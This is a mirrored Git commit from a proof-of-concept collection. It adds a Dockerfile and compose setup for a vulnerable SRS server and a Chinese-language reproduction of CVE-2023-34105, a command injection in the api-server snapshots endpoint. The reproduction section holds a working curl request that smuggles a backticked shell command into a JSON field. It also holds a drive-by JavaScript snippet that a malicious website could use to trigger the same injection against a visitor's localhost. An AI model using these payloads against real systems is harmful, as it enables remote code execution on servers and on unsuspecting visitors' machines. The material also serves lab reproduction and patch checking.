mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2026-10-24 08:54:27 +00:00
update CVE-2023-34105
This commit is contained in:
1 parent
92d8d19cfe
commit
58cde1eb40
7 files changed
+118
No files matched your search
@@ -401,6 +401,8 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
|
||||
* MLflow get-artifact 任意文件读取漏洞 CVE-2023-1177
|
||||
* Mojarra JSF ViewState 反序列化漏洞
|
||||
* mongo-express 远程代码执行漏洞 CVE-2019-10758
|
||||
* n8n Pyodide 沙箱逃逸导致远程代码执行漏洞 CVE-2025-68668
|
||||
* n8n 表达式沙箱逃逸导致远程代码执行漏洞 CVE-2025-68613
|
||||
* Nexus Repository Manager 3 extdirect 远程命令执行漏洞 CVE-2019-7238
|
||||
* Nexus Repository Manager 3 extdirect 远程命令执行漏洞 CVE-2020-10204
|
||||
* Nexus Repository Manager 3 group 远程命令执行漏洞 CVE-2020-10199
|
||||
@@ -713,6 +715,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
|
||||
* SaltStack 未授权访问命令执行漏洞 CVE-2020-16846 25592
|
||||
* SaltStack 水平权限绕过漏洞 CVE-2020-11651
|
||||
* Saltstack 远程命令执行漏洞 CVE-2020-11651 11652
|
||||
* SRS api-server 服务器命令执行漏洞 CVE-2023-34105
|
||||
* Supervisord 远程命令执行漏洞 CVE-2017-11610
|
||||
* uWSGI PHP目录穿越漏洞 CVE-2018-7490
|
||||
* uWSGI 未授权访问漏洞
|
||||
@@ -939,6 +942,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
|
||||
* Hadoop YARN ResourceManager 未授权访问
|
||||
* InfluxDB JWT 认证绕过漏洞 CVE-2019-20933
|
||||
* InfluxDB 未授权访问漏洞
|
||||
* MongoDB Zlib 压缩协议堆内存信息泄露漏洞 CVE-2025-14847
|
||||
* MySQL UDF 提权漏洞
|
||||
* MySQL 身份认证绕过漏洞 CVE-2012-2122
|
||||
* Neo4j Shell Server 反序列化漏洞 CVE-2021-34371
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
FROM golang:1.21-bullseye
|
||||
|
||||
WORKDIR /app
|
||||
RUN apt-get update && apt-get install -y wget && rm -rf /var/lib/apt/lists/*
|
||||
RUN wget https://github.com/ossrs/srs/releases/download/v5.0-a4/srs-server-5.0-a4.tar.gz
|
||||
RUN tar -xzf srs-server-5.0-a4.tar.gz && rm srs-server-5.0-a4.tar.gz
|
||||
|
||||
WORKDIR /app/srs-server-5.0-a4/trunk/research/api-server
|
||||
EXPOSE 8085
|
||||
CMD ["go", "run", "server.go"]
|
||||
@@ -0,0 +1,7 @@
|
||||
services:
|
||||
srs-api-stub:
|
||||
build: .
|
||||
container_name: srs-api-stub
|
||||
ports:
|
||||
- "8085:8085"
|
||||
restart: always
|
||||
@@ -0,0 +1,97 @@
|
||||
# SRS api-server 服务器命令执行漏洞 CVE-2023-34105
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
SRS 是一个实时视频服务器,支持 RTMP、WebRTC、HLS、HTTP-FLV、SRT、MPEG-DASH 和 GB28181。在版本 5.0.157、5.0-b1 和 6.0.48 之前,SRS 的 `api-server` 服务器容易受到命令注入驱动的攻击。攻击者可以向 `/api/v1/snapshots` 端点发送一个请求,其中包含要作为 POST 请求主体执行的任何命令。此问题可能导致远程代码执行(RCE)。版本 5.0.157、5.0-b1 和 6.0.48 包含修复程序。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://github.com/ossrs/srs/blob/1d11d02e4b82fc3f37e4b048cff483b1581482c1/trunk/research/api-server/server.go#L761
|
||||
- https://github.com/ossrs/srs/commit/1d878c2daaf913ad01c6d0bc2f247116c8050338
|
||||
- https://github.com/ossrs/srs/security/advisories/GHSA-vpr5-779c-cx62
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
SRS v5.0.137~v5.0.156
|
||||
SRS v6.0.18~v6.0.47
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
我们使用 SRS [v5.0-a4](https://github.com/ossrs/srs/releases/tag/v5.0-a4) 版本构建一个最小化测试环境,仅启动 srs-server。
|
||||
|
||||
Dockerfile
|
||||
|
||||
```
|
||||
FROM golang:1.21-bullseye
|
||||
|
||||
WORKDIR /app
|
||||
RUN apt-get update && apt-get install -y wget && rm -rf /var/lib/apt/lists/*
|
||||
RUN wget https://github.com/ossrs/srs/releases/download/v5.0-a4/srs-server-5.0-a4.tar.gz
|
||||
RUN tar -xzf srs-server-5.0-a4.tar.gz && rm srs-server-5.0-a4.tar.gz
|
||||
|
||||
WORKDIR /app/srs-server-5.0-a4/trunk/research/api-server
|
||||
EXPOSE 8085
|
||||
CMD ["go", "run", "server.go"]
|
||||
```
|
||||
|
||||
docker-compose.yml
|
||||
|
||||
```
|
||||
services:
|
||||
srs-api-stub:
|
||||
build: .
|
||||
container_name: srs-api-stub
|
||||
ports:
|
||||
- "8085:8085"
|
||||
restart: always
|
||||
```
|
||||
|
||||
执行如下命令启动一个 SRS v5.0-a4 的 srs-server 服务:
|
||||
|
||||
```
|
||||
docker-compose up -d --build
|
||||
```
|
||||
|
||||
服务启动后,访问 `http://your-ip:8085` 即可查看服务。
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
`api-server` 服务器存在命令注入漏洞。攻击者可以向 `/api/v1/snapshots` 端点发送请求,请求体中包含任何要执行的命令:
|
||||
|
||||
```
|
||||
curl -i -s -k -X $'POST' \
|
||||
-H $'Host: your-ip:8085' -H $'Connection: close' -H $'Content-Type: application/json' \
|
||||
--data-binary $'{\"action\": \"on_publish\",\"app\": \"`touch /tmp/awesome_poc`\", \"stream\":\"foo\", \"vhost\": \"foo\",\"client_id\":\"foo\"}' \
|
||||
$'http://your-ip:8085/api/v1/snapshots'
|
||||
```
|
||||
|
||||

|
||||
|
||||
成功执行命令,创建文件:
|
||||
|
||||

|
||||
|
||||
请注意,即使端口 8085 仅在本地主机接口上暴露,攻击者仍然可能使用 [drive-by attack](https://about.gitlab.com/blog/2021/09/07/why-are-developers-vulnerable-to-driveby-attacks/) 来利用此服务。攻击者可以准备一个包含以下 JS 脚本的恶意网站:
|
||||
|
||||
```
|
||||
<script>
|
||||
fetch("http://localhost:8085/api/v1/snapshots", {
|
||||
method: 'post',
|
||||
mode: 'no-cors',
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
},
|
||||
body: '{"action": "on_publish", "app": "`touch /tmp/pwned`", "stream":"foo", "vhost": "foo", "client_id":"foo"}',
|
||||
})
|
||||
</script>
|
||||
```
|
||||
|
||||
如果攻击者诱骗受害者在 `api-server` 服务运行时访问此页面,将能够远程访问并成功执行命令。
|
||||
|
||||
## 漏洞修复
|
||||
|
||||
更新至安全版本 v5.0.157, v5.0-b1, v6.0.48。
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 152 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 123 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 316 KiB |
Reference in new issue
Block a user